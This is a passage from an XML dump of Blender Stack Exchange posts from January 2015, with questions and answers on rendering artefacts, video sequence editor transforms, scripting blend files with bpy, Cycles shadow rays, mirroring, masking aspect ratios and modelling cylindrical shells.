BY-SA 3.0" />
  <row Id="23485" PostTypeId="1" CreationDate="2015-01-20T15:01:41.630" Score="2" ViewCount="205" Body="&lt;p&gt;I want to render the sword I just finished.  But when I render it, the hilt and handle are fine but the blade looks odd.  Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the render:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LyVe7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LyVe7.png&quot; alt=&quot;Rendered&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the blade looks like in object mode:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yfNTY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yfNTY.png&quot; alt=&quot;Object Mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it looks like in edit mode:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TIrmt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TIrmt.png&quot; alt=&quot;Edit Mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my lighting setup:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4wuMi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4wuMi.png&quot; alt=&quot;Lightning Setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm supposed to have the bevel along the sword but not what I have highlighted below.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kMti8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kMti8.png&quot; alt=&quot;Problem Areas&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11089" LastEditorUserId="23985" LastEditDate="2019-03-20T10:51:57.077" LastActivityDate="2019-03-20T10:51:57.077" Title="Problems rendering a sword" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23488" PostTypeId="1" CreationDate="2015-01-20T15:53:32.513" Score="4" ViewCount="5752" Body="&lt;p&gt;I would like to know if there is a way to make an image move or slide to another point using the video editor. &lt;/p&gt;&#xA;" OwnerUserId="11092" LastEditorUserId="2217" LastEditDate="2015-01-20T16:18:15.043" LastActivityDate="2015-01-20T17:18:05.697" Title="How to move or slide an image in VSE" Tags="&lt;image&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23489" PostTypeId="2" ParentId="23485" CreationDate="2015-01-20T16:05:27.423" Score="5" Body="&lt;p&gt;Alrighty, lets jump into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, those weird spots in the render were perfectly normal. If you zoom in, you'll see that they're actually triangles- this from the fact that all n-gons are actually sets of tris. You can solve this by adding a &lt;em&gt;subdivision-surface&lt;/em&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you don't have those triangles, but you get a different effect: looks like quicksilver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H6dfZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this is mostly just a modeling error because two sides of the blade converge momentarily in the center, the area of the sword commonly called the &lt;em&gt;bloodlet&lt;/em&gt;. This creates a zooky effect that is the combo of z-fighting and bad unwrapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix, I changed the subsurf mod from &lt;em&gt;catmull-clark&lt;/em&gt; to &lt;em&gt;simple&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RCwpp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You still get a bit of whack, so go into modeling and put some air between the inside edges of the bloodlet, rather than allowing it to be 2D. Then unwrap the model. This should fix everything. It needed to be unwrapped because your texture was repeating to much in the bloodlet because there were more vertices then around the rest of the blade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ujf4q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-20T16:05:27.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23490" PostTypeId="1" AcceptedAnswerId="23497" CreationDate="2015-01-20T16:17:15.803" Score="3" ViewCount="390" Body="&lt;p&gt;I have built a little 'smart' robot using a Raspberry Pi and Arduino. Currently it can move around, sense obstacles, determine if it can pass, etc. My biggest problem so far is that it is completely &quot;in the moment&quot; and doesn't remember that there was a wall on its left once it's not sensing it. I'd like it to remember there was a wall on its left and so on so I thought, maybe I could use Blender for its visual memory! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add/manipulate meshes in a blend file outside of Blender via Python? My robot's code is in Python but I suppose if I have to use C for it, I can just write a Python wrapper. I don't expect to generate high detail meshes or anything like that, just cubes so I can inspect what obstacles it's remembering. &lt;/p&gt;&#xA;" OwnerUserId="2198" LastEditorDisplayName="user12855" LastEditDate="2015-05-27T00:52:10.777" LastActivityDate="2015-05-27T00:52:10.777" Title="Modify a blend file via console outside of GUI" Tags="&lt;python&gt;&lt;external-applications&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23491" PostTypeId="2" ParentId="23490" CreationDate="2015-01-20T17:10:35.483" Score="1" Body="&lt;p&gt;I can imagine some server-client solution like code running inside blender listening for robot(s) input and creating meshes etc. according to incoming data. The robot(s) could then request info from the master blender code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an idea, the technical aspect will be more difficult, like what protocol to use, how to implement server side (some code loop) inside blender (listening for callbacks and updating will be challenging).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually are you sure you need blender for this? Your robot probably doesn't have 3D range-finder so you can create the environment maps in some custom app in 2D from top-view. Start small and then build up.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-20T17:10:35.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23492" PostTypeId="2" ParentId="23488" CreationDate="2015-01-20T17:18:05.697" Score="4" Body="&lt;p&gt;Select the video strip you want to move, then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and look for Effect Srip-&gt;Transform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1lbx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the newly created transform strip and press &lt;kbd&gt;N&lt;/kbd&gt; to revel the control panel.&#xA;You can move and rescale the image using &lt;strong&gt;Position&lt;/strong&gt; and &lt;strong&gt;Scale&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPDBv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those values are keyframemable. To add a keyframe hover over the value and press &lt;kbd&gt;I&lt;/kbd&gt; &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-20T17:18:05.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23493" PostTypeId="2" ParentId="23397" CreationDate="2015-01-20T17:38:59.443" Score="3" Body="&lt;p&gt;Your core is not bright enough, give the core emission strength between 500 and 1000 and then it should be bright with shutter at 1.0. Do the soft red glow in postpro also.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-20T17:38:59.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23494" PostTypeId="1" CreationDate="2015-01-20T18:22:23.187" Score="6" ViewCount="468" Body="&lt;p&gt;I have beads along a curve (with array modifier+curve modifier). It works fine and forms a necklace. However, I want to have several subpaths (correct name?) to make up the curve.&lt;/p&gt;&#xA;&lt;p&gt;I am trying to make a necklace like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MYiBR.jpg&quot; alt=&quot;necklace&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I would like to use one curve for all segments with similar beads. But only the first subpath in the curve is used.&lt;/p&gt;&#xA;&lt;p&gt;Like this. You see several curves and arrays. The selected curve is duplicated in edit mode, so it consists of two subpaths. But the beads only follow the first.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7zxz8.png&quot; alt=&quot;necklace in blender&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;EDIT: I want each curve to be slightly different to not make it repetitive. I want to make it look hand crafted.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-30T19:02:31.277" Title="Curve modifier only follows first Spline of a Curve Object" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23495" PostTypeId="1" AcceptedAnswerId="23504" CreationDate="2015-01-20T19:22:15.830" Score="2" ViewCount="10181" Body="&lt;p&gt;I'm making a model on Blender, and i'm adding texture for it on Cycles, i added a Diffuse BSDF material, on a curves i made but with the lighting (it does need to be with that kind of light) the color seems too shiny/bright, how can i make it look not too bright and maybe even with a little shadow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMb2Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-20T21:46:48.890" Title="Make material looks less 'shiny'?" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23497" PostTypeId="2" ParentId="23490" CreationDate="2015-01-20T19:41:04.953" Score="2" Body="&lt;p&gt;You can also build bpy as a standalone module using cmake, and use it in a python script with import bpy&#xA;This is pretty similar to doing blender -b -P customscript.py&lt;/p&gt;&#xA;" OwnerUserId="11076" LastActivityDate="2015-01-20T19:41:04.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23500" PostTypeId="1" CreationDate="2015-01-20T21:13:22.963" Score="13" ViewCount="7682" Body="&lt;p&gt;I have read the Blender documentation wikis on both the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More&quot; rel=&quot;noreferrer&quot;&gt;light path node&lt;/a&gt; and on &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Light_Paths&quot; rel=&quot;noreferrer&quot;&gt;light paths&lt;/a&gt;.  But neither of them seems to clearly explain what a shadow ray is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, the light paths wiki says:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Shadow: the ray is used for (transparent) shadows&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It then shows a diagram with the ray labeled “shadow” going (backwards) from a surface to a light source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't make much sense to me.  The text doesn't make sense because in cycles (as far as I know) a shadow is just an area with less light than the areas around it, which is not a technical value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the diagram, it looks like a &lt;em&gt;shadow ray&lt;/em&gt; is a ray that is about to hit a light source (speaking from the actual backwards ray-tracing point of view).  But I don't understand how that works either, how can cycles know what a ray &lt;em&gt;is about&lt;/em&gt; to hit?  Especially if that information could be used to change the direction of the ray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So what is a shadow ray?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="29301" LastEditDate="2018-10-14T07:06:45.910" LastActivityDate="2021-03-04T17:37:11.480" Title="What is a shadow ray?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;shadows&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23501" PostTypeId="1" CreationDate="2015-01-20T21:26:13.367" Score="5" ViewCount="3643" Body="&lt;p&gt;I'm trying to mirror an object on the X-axis, Y-axis, and X+Y-axis. Unfortunately, there's no check mark for that last one. How do I mirror along it?&lt;/p&gt;&#xA;" OwnerUserId="11100" LastActivityDate="2021-04-20T14:03:11.923" Title="How do I mirror across anything other than X, Y, or Z axis?" Tags="&lt;mirror&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23502" PostTypeId="2" ParentId="23501" CreationDate="2015-01-20T21:32:00.410" Score="4" Body="&lt;p&gt;Use two mirror modifiers, both one along the X+Y axis.&#xA;Once you have the Y and X mirrored once, then you can add an empty and use it as a mirror object to mirror it along the x+y for your second modifier.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OZ5np.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply position the empty to where you want to objects to be mirrored. The empty will essentially replace the object's origin for the mirror modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b1cMO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-01-20T21:52:47.327" LastActivityDate="2015-01-20T21:52:47.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23504" PostTypeId="2" ParentId="23495" CreationDate="2015-01-20T21:46:48.890" Score="1" Body="&lt;p&gt;A mix shader with a dark ambient occlusion node, colored to fit your object, factored mostly toward the diffuse might help depending on what results you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise I would suggest moving the light farther away, that will at least soften out the white highlights&lt;/p&gt;&#xA;" OwnerUserId="7879" LastActivityDate="2015-01-20T21:46:48.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23505" PostTypeId="2" ParentId="23500" CreationDate="2015-01-20T21:50:22.123" Score="16" Body="&lt;p&gt;&lt;strong&gt;Shadow ray is the last segment on the light path traveling through the scene&lt;/strong&gt; (from camera to light source). It is just a technical term, only a label. In nutshell it marks anything that goes to light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the light path begins, it starts as a &lt;em&gt;camera ray&lt;/em&gt;, when its reflected it becomes &lt;em&gt;reflection ray&lt;/em&gt;, when it goes through glass it becomes &lt;em&gt;transmission ray&lt;/em&gt; and from the last point to lamp it is &lt;em&gt;shadow ray&lt;/em&gt;. These are the base 4 types of rays in cycles (they divide more into diffuse, glossy etc. also).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Light Path node and Shadow rays, you can for example color shadows to some tint of your liking. Here the object will be transparent and blue for the shadow part of path but opaque and green for the rest of it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1tCqh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; In 2.75 rendering colored shadows from transparent objects is buggy - when adding Transparent BSDF in rendered viewport the shadow won't be colored - you need to restart the render-viewport (on CPU and GPU).&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-07-02T09:15:07.510" LastActivityDate="2015-07-02T09:15:07.510" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="23506" PostTypeId="1" AcceptedAnswerId="23580" CreationDate="2015-01-20T21:55:05.380" Score="1" ViewCount="746" Body="&lt;p&gt;my problem is the following:&#xA;I've made an object in blender and now I've begun applying material but I've noticed that I've added multiple meshes between the innermost and the outermost. This is quite annoying for the part which should have a glass material (the &quot;vizor&quot; as it is visible in the captures). In fact I've first tried to select face without limit selection to visible but as there is the back of the object which is also selected this have not really worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Ok I'll try to clarify my issue, I've uploaded another capture, this time only one  half of the mesh. As you can see there is multiple inner faces especially in the red rectangle (in the image attached) and those inner faces are those I want to assign material on (or delete all other than to outermost)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VCRbc.png&quot; alt=&quot;mesh cut in half&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11099" LastEditorUserId="241" LastEditDate="2016-09-05T15:39:42.220" LastActivityDate="2016-09-05T15:39:42.220" Title="Fill space between inner mesh" Tags="&lt;mesh&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23507" PostTypeId="1" CreationDate="2015-01-20T22:26:01.503" Score="4" ViewCount="2535" Body="&lt;p&gt;I am having some problem in 'opening a file browser with python' in blender. Can you provide me with a sample code where I can access the file location after running from the script.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kqGKJ.png&quot; alt=&quot;file browser&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, if you have full code it will help me better. I am very new to python.&lt;/p&gt;&#xA;" OwnerUserId="7893" LastEditorUserId="2217" LastEditDate="2015-01-20T23:37:58.953" LastActivityDate="2020-09-16T15:14:52.833" Title="file browser by python in blender" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23508" PostTypeId="1" AcceptedAnswerId="23577" CreationDate="2015-01-20T23:25:23.827" Score="1" ViewCount="151" Body="&lt;p&gt;I seem to be missing several tools in Blender 2.62, or at least I'm not able to get to them the way the manual says they should be accessed. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the Help file, the Bevel Tool is supposed to be accessible either with the Hotkey of CTRL-B or W &gt; Bevel, or from Mesh &gt; Edge &gt; Bevel while in Editing mode, but it's not there. Nor am I able to access the Knife tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas where they've gone?&lt;/p&gt;&#xA;" OwnerUserId="7576" LastEditorUserId="2217" LastEditDate="2015-06-02T00:04:26.217" LastActivityDate="2015-06-02T00:04:26.217" Title="Several Missing Tools" Tags="&lt;versions&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23509" PostTypeId="1" AcceptedAnswerId="23516" CreationDate="2015-01-20T23:34:47.150" Score="1" ViewCount="557" Body="&lt;p&gt;So I'm masking in the movie clip editor, and I noticed that the video is compressed on the sides to where its a square now, and When I use the mask in the vse, it comes out stretched out, but still offset. Help please&lt;img src=&quot;https://i.stack.imgur.com/igmCy.jpg&quot; alt=&quot;?&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0cYGM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2015-01-21T03:53:58.687" Title="stretched movie when masking?" Tags="&lt;video-sequence-editor&gt;&lt;masking&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23511" PostTypeId="1" AcceptedAnswerId="23542" CreationDate="2015-01-20T23:57:51.023" Score="2" ViewCount="951" Body="&lt;p&gt;In the smoke simulation settings, there is an option called &lt;em&gt;smoke adaptive domain&lt;/em&gt;.  It basically (as far as I can tell) just changes the domain's size at each frame to be just big enough to fit the entire smoke simulation inside.  It can really save some baking time, especially at the beginning of the simulation when the smoke is first expanding from the emitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, &lt;strong&gt;is there any reason not to use smoke adaptive domain?&lt;/strong&gt;  I personally can't think of any reason not to.  But it is an option, and it's actually off by default, so I thought there may be some disadvantage[s].&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-01-21T14:12:00.717" Title="Is there any disadvantage to using smoke adaptive domain?" Tags="&lt;smoke-simulation&gt;&lt;baking&gt;&lt;memory-management&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23513" PostTypeId="1" AcceptedAnswerId="23514" CreationDate="2015-01-21T00:09:10.743" Score="1" ViewCount="1418" Body="&lt;p&gt;The only way I know how to make a cylindrical shell is to&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;, Cylinder, to insert a cylindrical mesh.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;, Cylinder, to insert another cylindrical mesh.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;, to double the height of the second cylinder.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Shift+Z&lt;/kbd&gt;&lt;kbd&gt;0.5&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;, to halve the diameter of the second cylinder.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Right Click&lt;/kbd&gt; the first cylinder, click the wrench icon, Add Modifier, Boolean, Difference, Cylinder 001 (or whatever the skinny cylinder's name is), Apply.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Right Click&lt;/kbd&gt; the second cylinder, &lt;kbd&gt;x&lt;/kbd&gt; to delete it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jd2vK.png&quot; alt=&quot;Created cylindrical shell (annular volume)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know easier ways of making a cylindrical shell, preferably out of a single circular mesh or cylinder?&lt;/p&gt;&#xA;" OwnerUserId="10862" LastActivityDate="2015-01-21T02:53:53.037" Title="Ways to create a cylindrical shell (annular volume)?" Tags="&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23514" PostTypeId="2" ParentId="23513" CreationDate="2015-01-21T00:13:21.720" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add a cylinder. (with cap fill set to &lt;em&gt;Nothing&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; into edit mode.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;E&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;E&lt;/kbd&gt; to extrude the cylinder, then &lt;kbd&gt;S&lt;/kbd&gt; to scale the newly created cylinder and &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to constrain the scaling to only the X and Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7MghS.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-01-21T00:29:01.253" LastActivityDate="2015-01-21T00:29:01.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23516" PostTypeId="2" ParentId="23509" CreationDate="2015-01-21T00:43:11.783" Score="3" Body="&lt;p&gt;Unfortunately the movie clip editor doesn't seem to have a way to deal with non-square pixels. So your mask is getting created using a frame that is 1440x1080 pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you bring that into the VSE editor it is stretching that frame to fill a 1920x1080 canvas (as determined by your render settings)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are three choices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt;. (The one I would use because I dislike the VSE so much) Use the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup your mask at a fixed size of 1440x1080 and composite using the Alpha Over node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rbdbl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt;. If you must use the VSE. Change your render settings to 1440x1080 with a pixel aspect ratio of X:1.33 Y:1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TaIbv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt;. Keep your settings the way they are now and deform the mask strip on the VSE:&#xA;In VSE you select your mask strip and add a &lt;em&gt;Effect Strip-&gt;Transform&lt;/em&gt; strip. Then change the settings to use 0.75 on the Y scale to have the mask match the aspect ratio of the original footage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bf3LD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-21T01:10:50.017" LastActivityDate="2015-01-21T01:10:50.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23517" PostTypeId="1" CreationDate="2015-01-21T01:02:45.647" Score="3" ViewCount="12255" Body="&lt;p&gt;I can't figure out how to install addon from blender 2.73 onto my imac.&#xA;I go into addons in user pref. I enable addons.&lt;br&gt;&#xA;I select &lt;code&gt;/users/me/library/applicationsupport/blender/2.73/scripts/addons/&lt;/code&gt;&lt;br&gt;&#xA;and then click install from file.&#xA;And I get: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error! source file is in the addon search path: '/users/moi/library/application support/blender/2.73/scripts/addons/'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11104" LastEditorUserId="2217" LastEditDate="2015-01-21T01:28:00.063" LastActivityDate="2018-06-19T23:05:22.193" Title="Need help installing addon on mac" Tags="&lt;add-on&gt;&lt;osx&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23518" PostTypeId="2" ParentId="3502" CreationDate="2015-01-21T01:15:19.243" Score="5" Body="&lt;p&gt;run the following script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;currentcam = bpy.context.scene.camera&#xA;&#xA;setcam = False&#xA;&#xA;for ob in scene.objects:&#xA;    if ob.type == 'CAMERA':&#xA;        if ob == currentcam:&#xA;            setcam = True&#xA;        elif setcam:&#xA;            bpy.context.scene.camera = ob&#xA;            break&#xA;&#xA;&#xA;if currentcam == bpy.context.scene.camera:      &#xA;    for ob in scene.objects:&#xA;        if ob.type == 'CAMERA':&#xA;            bpy.context.scene.camera = ob&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2533" LastActivityDate="2015-01-21T01:15:19.243" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23519" PostTypeId="2" ParentId="23513" CreationDate="2015-01-21T01:18:11.647" Score="9" Body="&lt;p&gt;You can create a cylinder and apply a solidify modifier..&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ytnmM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-21T01:18:11.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
